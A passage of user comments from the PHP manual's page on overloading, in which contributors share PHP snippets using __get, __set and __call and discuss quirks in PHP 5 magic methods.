$test->foo('bar', 'baz');
$test->foo('bar', 'baz', 'fez', 'fap');
$test->bar();
?>
daevid at daevid dot com 15-May-2009 06:16
Here's a handy little routine to suggest properties you're trying to set that don't exist. For example:

Attempted to __get() non-existant property/variable 'operator_id' in class 'User'.

checking for operator and suggesting the following:

    * id_operator
    * operator_name
    * operator_code

enjoy.

<?php
    /**
     * Suggests alternative properties should a __get() or __set() fail
     *
     * @param     string $property
     * @return string
     * @author Daevid Vincent [daevid@daevid.com]
     * @date    05/12/09
     * @see        __get(), __set(), __call()
     */
    public function suggest_alternative($property)
    {
        $parts = explode('_',$property);
        foreach($parts as $i => $p) if ($p == '_' || $p == 'id') unset($parts[$i]);

        echo 'checking for <b>'.implode(', ',$parts)."</b> and suggesting the following:<br/>\n";

        echo "<ul>";
        foreach($this as $key => $value)
            foreach($parts as $p)
                if (stripos($key, $p) !== false) print '<li>'.$key."</li>\n";
        echo "</ul>";
    }

just put it in your __get() or __set() like so:

    public function __get($property)
    {
            echo "<p><font color='#ff0000'>Attempted to __get() non-existant property/variable '".$property."' in class '".$this->get_class_name()."'.</font><p>\n";
            $this->suggest_alternative($property);
            exit;
    }
?>
niehztog 14-Feb-2009 07:59
If you got a parent class agregating(not inheriting) a number of child classes in an array, you can use the following to allow calling methods of the parent object on agregated child objects:
<?php
class child {
    public $holder = null;

    public function __call($name, $arguments) {
        if($this->holder instanceof parentClass && method_exists($this->holder, $name)) {
            return call_user_func_array(array($this->holder, $name), $arguments);
        }
        else {
            trigger_error();
        }
    }
}

class parentClass {
    private $children = array();

    function __construct() {
        $this->children[0] = new child();
        $this->children[0]->holder = $this;
    }

    function getChild($number) {
        if(!isset($this->children[$number])) {
            return false;
        }
        return $this->children[$number];
    }

    function test() {
        return 'it works';
    }
}

$parent = new parentClass();
$firstChild = $parent->getChild(0);
echo $firstChild->test(); //should output 'it works'
?>
jorge dot hebrard at gmail dot com 24-Dec-2008 01:55
This is a great way to give different permissions to parent classes.

<?php
class A{
    private $b;
    function foo(){
        $this->b = new B;
        echo $this->b->protvar;
    }
}
class B extends A{
    protected $protvar="protected var";
    public function __get($nm) {
       echo "Default $nm value";
    }
}
$a = new A;
$b = new B;
$a->foo(); // prints "protected var"
echo $b->protvar; // prints "Default protvar value"
?>
This way, you can help parent classes to have more power with protected members.
Ant P. 21-Dec-2008 05:40
Be extra careful when using __call():  if you typo a function call somewhere it won't trigger an undefined function error, but get passed to __call() instead, possibly causing all sorts of bizarre side effects.
In versions before 5.3 without __callStatic, static calls to nonexistent functions also fall through to __call!
This caused me hours of confusion, hopefully this comment will save someone else from the same.
erick2711 at gmail dot com 14-Nov-2008 04:33
<?php
/***********************************************
 *And here follows a child class which implements a menu based in the 'nodoMenu' class (previous note).
 *
 *[]s
 *
 *erick2711 at gmail dot com
 ************************************************/
class menu extends nodoMenu{
    private $cssc = array();

    public function __toString(){  //Just to show, replace with something better.
        $stringMenu = "<pre>\n";$stringMenu .= $this->strPrint();$stringMenu .= "</pre>\n";
        return $stringMenu;
    }

    public function __construct($cssn = null){
        parent::__construct();
        if (isset($cssn) && is_array($cssn)){$this->cssc = $cssn;}
        $this->buildMenu();
    }

    public function buildMenu(){
        $this->add('server',
                   'Server',
                   'server.php');
            $this->server->add('personalD',
                               'Personal Data',
                               'server/personal.php');
            $this->server->add('personalI',
                               'Personal Interviews',
                               'server/personalI.php');
                $this->server->personalI->add('detailsByIer',
                                              'Detalis by Interviewer',
                                              'server/personalI.php?tab=detailsByIer');
        //(...)
        return $this;
    }
}

//Testing
$meuMenu = new menu;
echo $meuMenu;
/***********************************************
 *Will output (to the browser):
 *
 *<pre>
 *1 Server<br>
 *  1.1 Personal Data<br>
 *  1.2 Personal Interviews<br>
 *      1.2.1 Details by Interviewer<br>
 *</pre>
 *
 *Which shows:
 *
 *1 Server
 *  1.1 Personal Data
 *  1.2 Personal Interviews
 *      1.2.1 Details by Interviewer
 ************************************************/
?>
erick2711 at gmail dot com 14-Nov-2008 04:09
<?php
/*
    Here folows a little improvement of the 'strafvollzugsbeamter at gmx dot de' code, allowing each node to hold both 'parameters' and 'child nodes', and differentiate $s->A->B->C ('FOO') from $s->A (same 'FOO', but shouldn't exist) and from $s-A->B (idem).
    This allows the class, using the interesting suggested syntax ($root->dad->child->attribute, in which 'dad's and 'child's names are dynamically generated), to do something actually useful, like implementing a n-tree data structure (a menu, for instance).
    It was tested under PHP 5.2.6 / Windows.
    I know that must there be something better which already do this (probably in the DOM Model classes, or something like), but it was fun to develop this one, for the sake of studying the "magic" methods.
    Its a compressed version of the code (no comments, too short variable names, almost no identation). I had to compress it in order to add the note. If anyone cares about the full version, just email me.
    []s

    erick2711 at gmail dot com
*/
class nodoMenu{

    protected $p  = array();
    protected $c = array();

    public function __construct($t = '', $uri = '', $css = null, $n = 0, $i=0){
        $this->p['t'] = $t;$this->p['uri'] = $uri;$this->p['css'] = $css;$this->p['n'] = $n;$this->p['i'] = $i;$this->p['q'] = 0;return $this;
    }

    public function add($cn, $ct = '', $cl = '', $css = null){
        $nc = new nodoMenu($ct, $cl, $css, $this->p['n'] + 1, $this->p['q']);$this->c[$cn] = $nc;$this->p['q'] += 1;return $this->c[$cn];
    }

    private function isParameter($pn){
        return array_key_exists($pn, $this->p);
    }

    public function __isset($pn){
        if ($this->isParameter($pn)){return(!is_null($this->p[$pn]));}
        else{return(array_key_exists($pn, $this->c));}
    }

    public function remove($cn){
        if (array_key_exists($cn, $this->c)){$this->p['q'] -= 1;unset($this->c[$cn]);}
    }

    public function __unset($pn){
        if ($this->isParameter($pn)){$this->p[$pn] = null;}
        else{$this->remove($pn);}
    }

    public function __set($pn, $v){
        $r = null;
        if ($this->isParameter($pn)){$this->p[$pn] = $v;$r = $v;}
        else{if (array_key_exists($pn, $this->c)){$this->c[$pn] = $v;$r = $this->c[$pn];}
            else{$r = $this->add($pn);}}
        return $r;
    }

    public function __get($pn){
        $v = null;
        if ($this->isParameter($pn)){$v = $this->p[$pn];}
        else{if (array_key_exists($pn, $this->c)){$v = $this->c[$pn];}
            else{$v = $this->add($pn);}}
        return $v;
    }

    public function hasChilds(){
        return(isset($this->c[0]));
    }

    public function child($i){
        return $this->c[$i];
    }

    public function strPrint($bm = ''){   //Just to show, replace with something better.
        $m = '';$r = '';$n = $this->p['n'];
        if ($n > 0){switch($n){case 0:case 1: $qs = 0; break;case 2: $qs = 2; break;case 3: $qs = 6; break;case 4: $qs = 12; break;case 5: $qs = 20; break;case 6: $qs = 30; break;case 7: $qs = 42; break;case 8: $qs = 56; break;}
            $tab = str_repeat('&nbsp;', $qs);$r .= $tab;
            if ($bm <> ''){$m = $bm.'.';}
            $im = $this->p['i'] + 1;$m .= $im;$r .= $m.' ';$r .= $this->p['t']."<br>\n";
        }
        foreach ($this->c as $child){$r .= $child->strPrint($m);}
        return $r;
    }

    public function __toString(){
        return $this->strPrint();
    }
}
?>
strafvollzugsbeamter at gmx dot de 16-Jul-2008 09:57
The following works on my installation (5.2.6 / Windows):
<?php
class G
{
    private $_p = array();

    public function __isset($k)
    {
        return isset($this->_p[$k]);
    }

    public function __get($k)
    {
        $v = NULL;
        if (array_key_exists($k, $this->_p))
        {
            $v = $this->_p[$k];
        }
        else
        {
            $v = $this->{$k} = $this;
        }

        return $v;
    }

    public function __set($k, $v)
    {
        $this->_p[$k] = $v;

        return $this;
    }
}

$s = new G();
$s->A->B->C = 'FOO';
$s->X->Y->Z = array ('BAR');

if (isset($s->A->B->C))
{
    print($s->A->B->C);
}
else
{
    print('A->B->C is NOT set');
}

if (isset($s->X->Y->Z))
{
    print_r($s->X->Y->Z);
}
else
{
    print('X->Y->Z is NOT set');
}

// prints: FOOArray ( [0] => BAR )
?>

... have fun and  ...
Anonymous 30-Apr-2008 10:02
This is a generic implementation to use getter, setter, issetter and unsetter for your own classes.

<?php
abstract class properties
{
  public function __get( $property )
  {
    if( ! is_callable( array($this,'get_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    return call_user_func( array($this,'get_'.(string)$property) );
  }

  public function __set( $property, $value )
  {
    if( ! is_callable( array($this,'set_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    call_user_func( array($this,'set_'.(string)$property), $value );
  }

  public function __isset( $property )
  {
    if( ! is_callable( array($this,'isset_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    return call_user_func( array($this,'isset_'.(string)$property) );
  }

  public function __unset( $property )
  {
    if( ! is_callable( array($this,'unset_'.(string)$property) ) )
      throw new BadPropertyException($this, (string)$property);

    call_user_func( array($this,'unset_'.(string)$property) );
  }
}
?>
nospam michael AT netkey DOT at nospam 01-Apr-2008 07:10
you CAN write into ARRAYS by using __set and __get magic functions.

as has been mentioned before $obj->var['key'] = 'test'; does call the __get method of $obj, and there is no way to find out, if the method has been called for setting purposes.

the solution is quite simple: use __get to return the array by reference. then you can write into it:

<?php
class setter{
  private $_arr = array();

  public function __set($name, $value){
    $this->_arr[$name] = $value;
  }

  public function &__get($name){
    if (isset($this->_arr[$name])){
      return $this->_arr[$name];
    } else return null;
  }

}

?>
timshaw at mail dot NOSPAMusa dot com 29-Jan-2008 06:47
The __get overload method will be called on a declared public member of an object if that member has been unset.

<?php
class c {
  public $p ;
  public function __get($name) { return "__get of $name" ; }
}

$c = new c ;
echo $c->p, "\n" ;    // declared public member value is empty
$c->p = 5 ;
echo $c->p, "\n" ;    // declared public member value is 5
unset($c->p) ;
echo $c->p, "\n" ;    // after unset, value is "__get of p"
?>
jj dhoT maturana aht gmail dhot com 25-Jan-2008 01:16
There isn't some way to overload a method when it's called as a reflection method:

<?php

class TestClass {
  function __call($method, $args) {
    echo "Method {$method} called with args: " . print_r($args, TRUE);
  }
}

$class = new ReflectionClass("TestClass");
$method = $class->getMethod("myMehtod");

//Fatal error:  Uncaught exception 'ReflectionException' with message 'Method myMethod' does not exist'

?>

Juan.
v dot umang at gmail dot com 12-Jan-2008 06:20
If you want to be able to overload a variable from within a class and this is your code:
<?php
class myClass
{
    private $data;
    public function __set($var, $val)
    {
        $this->data[$var] = $val;
    }
    public function __get($var)
    {
        $this->data[$var] = $val;
    }
}
?>

There is a problem if you want to call these variables from within the class, as you you want to access data['data'] then you can't say $this->data as it will return the array $data. Therefore a simple solution is to name the array $_data. So in your __get and __set you will say $this->_data ... rather than $this->data. I.E:
<?php
class myClass
{
    private $_data;
    public function __set($var, $val)
    {
        $this->_data[$var] = $val;
    }
    public function __get($var)
    {
        $this->_data[$var] = $val;
    }
}
?>

Umang
soldair at NOSPAM gmail.com 10-Jan-2008 06:21
the documentation states a falsehood:
 "All overloading methods must be defined as public."

<?php
class test{
    #################
    #public use methods#
    #################
    public static function echoData(){
        $obj = self::getInstance();
        echo $obj->find('data');
        return true;
    }
    ######################
    #only use a single instance#
    ######################
    private static $instance;
    private static function getInstance(){
        if(!isset(self::$instance)){
            self::$instance = new test;
        }
        return self::$instance;
    }
    #################
    #private instantiation#
    #################
    private $data = array('data'=>'i am data');
    private function __construct(){}
    private function __call($nm,$args){
        if(isset($this->data[$args[0]])){
            return $this->data[$args[0]];
        }
        return null;
    }
}

test::echoData();
?>
--------------OUTPUT---------------
i am data
-----------------------------------

this test was run using PHP Version 5.2.4
Anonymous 09-Jan-2008 04:45
it should be noted that __call will trigger only for method calls on an instantiated object, and cannot be used to 'overload' static methods.  for example:

<?php

class TestClass {
  function __call($method, $args) {
    echo "Method {$method} called with args: " . print_r($args, TRUE);
  }
}

// this will succeed
$obj = new TestClass();
$obj->method_doesnt_exist();

// this will not
TestClass::method_doesnt_exist();

?>

It would be useful if the PHP devs would include this in a future release, but in the meantime, just be aware of that pitfall.
egingell at sisna dot com 21-Dec-2007 04:54
The PHP devs aren't going to implement true overloading because: PHP is not strictly typed by any stretch of the imagination (0, "0", null, false, and "" are the same, for example) and unlike Java and C++, you can pass as many values as you want to a function. The extras are ignored unless you fetch them using func_get_arg(int) or func_get_args(), which is often how I "overload" a function/method, and fewer than the declared number of arguments will generate an E_WARNING, which can be suppressed by putting '@' before the function call, but the function will still run as if you had passed null where a value was expected.

<?php
class someClass {
    function whatever() {
        $args = func_get_args();

        // public boolean whatever(boolean arg1) in Java
        if (is_bool($args[0])) {
            // whatever(true);
            return $args[0];

        // public int whatever(int arg1, boolean arg2) in Java
        } elseif(is_int($args[0]) && is_bool($args[1])) {
            // whatever(1, false)
            return $args[0];

        } else {
            // public void whatever() in Java
            echo 'Usage: whatever([int], boolean)';
        }
    }
}
?>

// The Java version:
public class someClass {
    public boolean whatever(boolean arg1) {
        return arg1;
    }

    public int whatever(int arg1, boolean arg2) {
        return arg1;
    }

    public void whatever() {
        System.out.println("Usage: whatever([int], boolean)");
    }
}
matthijs at yourmediafactory dot com 16-Dec-2007 08:09
While PHP does not support true overloading natively, I have to disagree with those that state this can't be achieved trough __call.

Yes, it's not pretty but it is definately possible to overload a member based on the type of its argument. An example:
<?php
class A {

  public function __call ($member, $arguments) {
    if(is_object($arguments[0]))
      $member = $member . 'Object';
    if(is_array($arguments[0]))
      $member = $member . 'Array';
    $this -> $member($arguments);
  }

  private function testArray () {
    echo "Array.";
  }

  private function testObject () {
    echo "Object.";
  }
}

class B {
}

$class = new A;
$class -> test(array()); // echo's 'Array.'
$class -> test(new B); // echo's 'Object.'
?>

Of course, the use of this is questionable (I have never needed it myself, but then again, I only have a very minimalistic C++ & JAVA background). However, using this general principle and optionally building forth on other suggestions a 'form' of overloading is definately possible, provided you have some strict naming conventions in your functions.

It would of course become a LOT easier once PHP'd let you declare the same member several times but with different arguments, since if you combine that with the reflection class 'real' overloading comes into the grasp of a good OO programmer. Lets keep our fingers crossed!
anthony dot parsons at manx dot net 09-Nov-2007 11:57
You can't use __set to set arrays, but if you really want to, you can emulate it yourself:
<?php
class test {
    public $x = array();
    public $y = array();
    function __set($var, $value)
    {
        if ( preg_match('/(.*)\[(.*)\]/', $var, $names) ) {
            $this->y[$names[1]][$names[2]] = $value;
        }
        else {
            $this->x[$var] = $value;
        }
    }
}

$z = new test;
$z->variable = 'abc';
$z->{'somearray[key]'} = 'def';

var_dump($z->x);
var_dump($z->y);
?>
php_is_painful at world dot real 19-Oct-2007 04:49
This is a misuse of the term overloading. This article should call this technique "interpreter hooks".
bgoldschmidt at rapidsoft dot de 28-Sep-2007 10:23
"These methods will only be triggered when your object or inherited object doesn't contain the member or method you're trying to access."
is not quite correct:
they get called when the member you trying to access in not visible:

<?php
class test {

  public $a;
  private $b;

  function __set($name, $value) {
    echo("__set called to set $name to $value\n");
    $this->$name = $value;
  }
}

$t = new test;
$t->a = 'a';
$t->b = 'b';

?>

Outputs:
__set called to set b to b

Be aware that set ist not called for public properties
lokrain at gmail dot com 26-Sep-2007 11:05
Let us look at the following example:

<?php
class objDriver {
    private $value;

    public function __construct()
    {
        $value = 1;
    }

    public function doSomething($parameterList)
    {
        //We make actions with the value
    }
}

class WantStaticCall {
    private static $objectList;

    private function __construct()

    public static function init()
    {
         self::$objectList = array();
    }

    public static function register($alias)
    {
        self::$objectList[$alias] = new objDriver();
    }

    public static function __call($method, $arguments)
    {
        $alias = $arguments[0];
    array_shift($arguments);
        call_user_method($method, self::$objectList[$alias], $arguments);
    }
}

// The deal here is to use following code:
WantStaticCall::register('logger');
WantStaticCall::doSomething('logger', $argumentList);

// and we will make objDriver to call his doSomething function with arguments
// $argumentList. This is not common pattern but very usefull in some cases.
// The problem here is that __call() cannot be static, Is there a way to work it around
?>
egingell at sisna dot com 15-Sep-2007 02:12
Small vocabulary note: This is *not* "overloading", this is "overriding".

Overloading: Declaring a function multiple times with a different set of parameters like this:
<?php

function foo($a) {
    return $a;
}

function foo($a, $b) {
    return $a + $b;
}

echo foo(5); // Prints "5"
echo foo(5, 2); // Prints "7"

?>

Overriding: Replacing the parent class's method(s) with a new method by redeclaring it like this:
<?php

class foo {
    function new($args) {
        // Do something.
    }
}

class bar extends foo {
    function new($args) {
        // Do something different.
    }
}

?>
ac221 at sussex dot ac dot uk 01-Sep-2007 07:07
Just Noting the interesting behavior of __set __get , when modifying objects contained in overloaded properties.

<?php
class foo {
    public $propObj;
    public function __construct(){
        $propObj = new stdClass();
    }
    public function __get($prop){
        echo("I'm Being Got ! \n");
        return $this->propObj->$prop;
    }
    public function __set($prop,$val){
        echo("I'm Being Set ! \n");
        $this->propObj->$prop = $val;
    }
}
$test = new foo();
$test->barProp = new stdClass(); // I should invoke set
$test->barProp->barSubProp = 'As Should I';
$test->barProp->barSubProp = 'As Should I';
$test->barProp = new stdClass(); // As should i
?>

Outputs:

I'm Being Set !
I'm Being Got !
I'm Being Got !
I'm Being Set !

Whats happening, is PHP is acquiring a reference to the object, triggering __get; Then applying the changes to the object via the reference.

Which is the correct behaviour; objects being special creatures, with an aversion to being cloned...

Unfortunately this will never invoke the __set handler, even though it is modifying a property within 'foo', which is slightly annoying if you wanted to keep track of changes to an objects overloaded properties.

I guess Journaled Objects will have to wait till PHP 6 :)
php at sleep is the enemy dot co dot uk 23-Jul-2007 04:23
Just to reinforce and elaborate on what DevilDude at darkmaker dot com said way down there on 22-Sep-2004 07:57.

The recursion detection feature can prove especially perilous when using __set. When PHP comes across a statement that would usually call __set but would lead to recursion, rather than firing off a warning or simply not executing the statement it will act as though there is no __set method defined at all. The default behaviour in this instance is to dynamically add the specified property to the object thus breaking the desired functionality of all further calls to __set or __get for that property.

Example:

<?php

class TestClass{

    public $values = array();

    public function __get($name){
        return $this->values[$name];
    }

    public function __set($name, $value){
        $this->values[$name] = $value;
        $this->validate($name);
    }

    public function validate($name){
        /*
        __get will be called on the following line
        but as soon as we attempt to call __set
        again PHP will refuse and simply add a
        property called $name to $this
        */
        $this->$name = trim($this->$name);
    }
}

$tc = new TestClass();

$tc->foo = 'bar';
$tc->values['foo'] = 'boing';

echo '$tc->foo == ' . $tc->foo . '<br>';
echo '$tc ' . (property_exists($tc, 'foo') ? 'now has' : 'still does not have') . ' a property called "foo"<br>';

/*
OUPUTS:
$tc->foo == bar
$tc now has a property called "foo"
*/

?>
Adeel Khan 10-Jul-2007 10:18
Observe:

<?php
class Foo {
    function __call($m, $a) {
        die($m);
    }
}

$foo = new Foo;
print $foo->{'wow!'}();

// outputs 'wow!'
?>

This method allows you to call functions with invalid characters.
alexandre at nospam dot gaigalas dot net 08-Jul-2007 07:59
PHP 5.2.1

Its possible to call magic methods with invalid names using variable method/property names:

<?php

class foo
{
    function __get($n)
    {
        print_r($n);
    }
    function __call($m, $a)
    {
        print_r($m);
    }
}

$test = new foo;
$varname = 'invalid,variable+name';
$test->$varname;
$test->$varname();

?>

I just don't know if it is a bug or a feature :)
MagicalTux at ooKoo dot org 06-Sep-2006 11:35
Since many here probably wanted to do «real» overloading without having to think too much, here's a generic __call() function for those cases.

Little example :
<?php
class OverloadedClass {
        public function __call($f, $p) {
                if (method_exists($this, $f.sizeof($p))) return call_user_func_array(array($this, $f.sizeof($p)), $p);
                // function does not exists~
                throw new Exception('Tried to call unknown method '.get_class($this).'::'.$f);
        }

        function Param2($a, $b) {
                echo "Param2($a,$b)\n";
        }

        function Param3($a, $b, $c) {
                echo "Param3($a,$b,$c)\n";
        }
}

$o = new OverloadedClass();
$o->Param(4,5);
$o->Param(4,5,6);
$o->ParamX(4,5,6,7);
?>

Will output :
Param2(4,5)
Param3(4,5,6)

Fatal error: Uncaught exception 'Exception' with message 'Tried to call unknown method OverloadedClass::ParamX' in overload.php:7
Stack trace:
#0 [internal function]: OverloadedClass->__call('ParamX', Array)
#1 overload.php(22): OverloadedClass->ParamX(4, 5, 6, 7)
#2 {main}
  thrown in overload.php on line 7
jstubbs at work-at dot co dot jp 02-Sep-2006 06:12
<?php $myclass->foo['bar'] = 'baz'; ?>

When overriding __get and __set, the above code can work (as expected) but it depends on your __get implementation rather than your __set. In fact, __set is never called with the above code. It appears that PHP (at least as of 5.1) uses a reference to whatever was returned by __get. To be more verbose, the above code is essentially identical to:

<?php
$tmp_array = &$myclass->foo;
$tmp_array['bar'] = 'baz';
unset($tmp_array);
?>

Therefore, the above won't do anything if your __get implementation resembles this:

<?php
function __get($name) {
    return array_key_exists($name, $this->values)
        ? $this->values[$name] : null;
}
?>

You will actually need to set the value in __get and return that, as in the following code:

<?php
function __get($name) {
    if (!array_key_exists($name, $this->values))
        $this->values[$name] = null;
    return $this->values[$name];
}
?>
mnaul at nonsences dot angelo dot edu 11-Jul-2006 09:58
This is just my contribution. It based off of many diffrent suggestions I've see thought the manual postings.
It should fit into any class and create default get and set methods for all you member variables. Hopfuly its usefull.
<?php
    public function __call($name,$params)
    {
        if( preg_match('/(set|get)(_)?/',$name) )
        {
            if(substr($name,0,3)=="set")
            {
                $name = preg_replace('/set(_)?/','',$name);
                if(property_exists(__class__,$name))
                {
                        $this->{$name}=array_pop($params);
                    return true;
                }
                else
                {
                    //call to class error handler
                    return false;
                }
                return true;
            }
            elseif(substr($name,0,3)=="get")
            {
                $name = preg_replace('/get(_)?/','',$name);
                if(property_exists(__class__,$name) )
                {
                    return $this->{$name};
                }
                else
                {
                    //call to class error handler
                    return false;
                }
            }
            else
            {
                //call to class error handler
                return false;
            }
        }
        else
        {
            die("method $name dose not exist\n");
        }
        return false;
    }
Sleepless 24-Feb-2006 08:22
Yet another way of providing support for read-only properties.  Any property that has
"pri_" as a prefix will NOT be returned, period, any other property will be returned
and if it was declared to be "protected" or "private" it will be read-only. (scope dependent of course)

<?php
function __get($var){
        if (property_exists($this,$var) && (strpos($var,"pri_") !== 0) )
            return $this->{$var};
        else
            //Do something
}
?>
derek-php at seysol dot com 10-Feb-2006 09:08
Please note that PHP5 currently doesn't support __call return-by-reference (see PHP Bug #30959).

Example Code:

<?php

    class test {
        public function &__call($method, $params) {

            // Return a reference to var2
            return $GLOBALS['var2'];
        }
        public function &actual() {

            // Return a reference to var1
            return $GLOBALS['var1'];
        }
    }

    $obj = new test;
    $GLOBALS['var1'] = 0;
    $GLOBALS['var2'] = 0;

    $ref1 =& $obj->actual();
    $GLOBALS['var1']++;

    echo "Actual function returns: $ref1 which should be equal to " . $GLOBALS['var1'] . "<br/>\n";

    $ref2 =& $obj->overloaded();
    $GLOBALS['var2']++;

    echo "Overloaded function returns: $ref2 which should be equal to " . $GLOBALS['var2'] . "<br/>\n";

?>
PHP at jyopp dotKomm 22-Dec-2005 08:01
Here's a useful class for logging function calls.  It stores a sequence of calls and arguments which can then be applied to objects later.  This can be used to script common sequences of operations, or to make "pluggable" operation sequences in header files that can be replayed on objects later.

If it is instantiated with an object to shadow, it behaves as a mediator and executes the calls on this object as they come in, passing back the values from the execution.

This is a very general implementation; it should be changed if error codes or exceptions need to be handled during the Replay process.
<?php
class MethodCallLog {
    private $callLog = array();
    private $object;

    public function __construct($object = null) {
        $this->object = $object;
    }
    public function __call($m, $a) {
        $this->callLog[] = array($m, $a);
        if ($this->object) return call_user_func_array(array(&$this->object,$m),$a);
        return true;
    }
    public function Replay(&$object) {
        foreach ($this->callLog as $c) {
            call_user_func_array(array(&$object,$c[0]), $c[1]);
        }
    }
    public function GetEntries() {
        $rVal = array();
        foreach ($this->callLog as $c) {
            $rVal[] = "$c[0](".implode(', ', $c[1]).");";
        }
        return $rVal;
    }
    public function Clear() {
        $this->callLog = array();
    }
}

$log = new MethodCallLog();
$log->Method1();
$log->Method2("Value");
$log->Method1($a, $b, $c);
// Execute these method calls on a set of objects...
foreach ($array as $o) $log->Replay($o);
?>
trash80 at gmail dot com 04-Dec-2005 05:59
Problem: $a->b->c(); when b is not instantiated.
Answer: __get()

<?php

class a
{
   function __get($v)
   {
       $this->$v = new $v;
       return $this->$v;
   }
}

class b
{
    function say($word){
        echo $word;
    }
}
$a = new a();
$a->b->say('hello world');

// echos 'hello world'
?>
seufert at gmail dot com 02-Nov-2005 01:25
This allows you to seeminly dynamically overload objects using plugins.

<?php

class standardModule{}

class standardPlugModule extends standardModule
{
  static $plugptrs;
  public $var;
  static function plugAdd($name, $mode, $ptr)
  {
    standardPlugModule::$plugptrs[$name] = $ptr;
  }
  function __call($fname, $fargs)
  { print "You called __call($fname)\n";
    $func = standardPlugModule::$plugptrs[$fname];
    $r = call_user_func_array($func, array_merge(array($this),$fargs));
    print "Done: __call($fname)\n";
    return $r;
  }
  function dumpplugptrs() {var_dump(standardPlugModule::$plugptrs); }
}

class a extends standardPlugModule
{ function text() { return "Text"; } }
//Class P contained within a seperate file thats included
class p
{ static function plugin1($mthis, $r)
  { print "You called p::plugin1\n";
    print_r($mthis);
    print_r($r);
  }
} a::plugAdd('callme', 0, array('p','plugin1'));

//Class P contained within a seperate file thats included
class p2
{ static function plugin2($mthis, $r)
  { print "You called p2::plugin2\n";
    $mthis->callme($r);
  }
} a::plugAdd('callme2', 0, array('p2','plugin2'));

$t = new a();
$testr = array(1,4,9,16);
print $t->text()."\n";
$t->callme2($testr);
//$t->dumpplugptrs();

?>

Will result in:
----------
Text
You called __call(callme2)
You called p2::plugin2
You called __call(callme)
You called p::plugin1
a Object
(
    [var] =>
)
Array
(
    [0] => 1
    [1] => 4
    [2] => 9
    [3] => 16
)
Done: __call(callme)
Done: __call(callme2)
----------

This also clears up a fact that you can nest __call() functions, you could use this to get around the limits to __get() not being able to be called recursively.
26-Aug-2005 04:32
To those who wish for "real" overloading: there's not really any advantage to using __call() for this -- it's easy enough with func_get_args(). For example:

<?php

    class Test
    {

        public function Blah()
        {

            $args = func_get_args();

            switch (count($args))
            {
                case 1: /* do something */ break;
                case 2: /* do something */ break;
            }

        }

    }

?>
NOTE: getter cannot call getter 04-Aug-2005 09:37
By Design (http://bugs.php.net/bug.php?id=33998) you cannot call a getter from a getter or any function triggered by a getter:

<?php
class test
{
    protected $_a = 6;

    function __get($key) {
        if($key == 'stuff') {
            return $this->stuff();
        } else if($key == 'a') {
            return $this->_a;
        }
    }

    function stuff()
    {
        return array('random' => 'key', 'using_getter' => 10 * $this->a);
    }
}

$test = new test();
print 'this should be 60: '.$test->stuff['using_getter'].'<br/>';       // prints "this should be 60: 0"
// [[ Undefined property:  test::$a ]] on /var/www/html/test.php logged.
print 'this should be 6: '.$test->a.'<br/>';                            // prints "this should be 6: 6"
?>
06-May-2005 12:50
Please note that PHP5's overloading behaviour is not compatible at all with PHP4's overloading behaviour.
Marius 02-May-2005 11:15
for anyone who's thinking about traversing some variable tree
by using __get() and __set(). i tried to do this and found one
problem: you can handle couple of __get() in a row by returning
an object which can handle consequential __get(), but you can't
handle __get() and __set() that way.
i.e. if you want to:
<?php
    print($obj->val1->val2->val3); // three __get() calls
?> - this will work,
but if you want to:
<?php
    $obj->val1->val2 = $val; // one __get() and one __set() call
?> - this will fail with message:
"Fatal error: Cannot access undefined property for object with
 overloaded property access"
however if you don't mix __get() and __set() in one expression,
it will work:
<?php
    $obj->val1 = $val; // only one __set() call
    $val2 = $obj->val1->val2; // two __get() calls
    $val2->val3 = $val; // one __set() call
?>

as you can see you can split __get() and __set() parts of
expression into two expressions to make it work.

by the way, this seems like a bug to me, will have to report it.
ryo at shadowlair dot info 22-Mar-2005 07:22
Keep in mind that when your class has a __call() function, it will be used when PHP calls some other magic functions. This can lead to unexpected errors:

<?php
class TestClass {
    public $someVar;

    public function __call($name, $args) {
        // handle the overloaded functions we know...
        // [...]

        // raise an error if the function is unknown, just like PHP would
        trigger_error(sprintf('Call to undefined function: %s::%s().', get_class($this), $name), E_USER_ERROR);
    }
}

$obj = new TestClass();
$obj->someVar = 'some value';

echo $obj; //Fatal error: Call to undefined function: TestClass::__tostring().
$serializedObj = serialize($obj); // Fatal error: Call to undefined function: TestClass::__sleep().
$unserializedObj = unserialize($someSerializedTestClassObject); // Fatal error: Call to undefined function: TestClass::__wakeup().
?>
thisisroot at gmail dot com 18-Feb-2005 04:27
You can't mix offsetSet() of the ArrayAccess interface (http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html) and __get() in the same line.

Below, "FileManagerPrefs" is an object of class UserData which implements ArrayAccess. There's a protected array of UserData objects in the User class, which are returned from __get().
<?php
// This produces an error...
Application::getInstance()->user->FileManagerPrefs[ 'base'] = 'uploads/jack';
?>

Creates this error:
Fatal error: Cannot access undefined property for object with overloaded property access in __FILE__ on line __LINE__

However, __get() and offsetGet() play deceptively well together.

<?php
// This works fine!
echo Application::getInstance()->user->FileManager['base'];
?>

I guess it's a dereferencing issue with __get(). In my case, it makes more sense to have a middle step (user->data['FileManager']['base']), but I wanted to tip off the community before I move on.
mileskeaton at gmail dot com 23-Dec-2004 09:23
<?php

## THE PROBLEM:  Class with lots of attributes.
## You want to use $o->getVarName() or $o->get_varname() style getters
## Some attributes have custom get functions, but the rest don't

## THE SOLUTION:  __call

class Person
    {
    ## this top stuff is just an example.  could be anything.
    private $name;
    private $age;
    private $weight;
    function __construct($name, $age, $weight)
        {
        $this->name = $name;
        $this->age = $age;
        $this->weight = $weight;
        }

    ##     PORTABLE: use this __call function in any class
    function __call($val, $x)
        {
        # see if they're calling a getter method - and try to guess the variable requested
        if(substr($val, 0, 4) == 'get_')
            {
            $varname = substr($val, 4);
            }
        elseif(substr($val, 0, 3) == 'get')
            {
            $varname = substr($val, 3);
            }
        else
            {
            die("method $val does not exist\n");
            }
        # now see if that variable exists:
        foreach($this as $class_var=>$class_var_value)
            {
            if(strtolower($class_var) == strtolower($varname))
                {
                return $class_var_value;
                }
            }
        return false;
        }

    # IMPORTANT: you can keep some things private - or treat
    # some vars differently by giving them their own getter method
    # See how this function lies about Person's weight.
    function getWeight()
        {
        return intval($this->weight * .8);
        }
    }

$a = new Person('Miles', 35, 200);

# these all work (case-insensitive):
print $a->get_name() . "\n";
print $a->getName() . "\n";
print $a->get_Name() . "\n";
print $a->getname() . "\n";

print $a->get_age() . "\n";
print $a->getAge() . "\n";
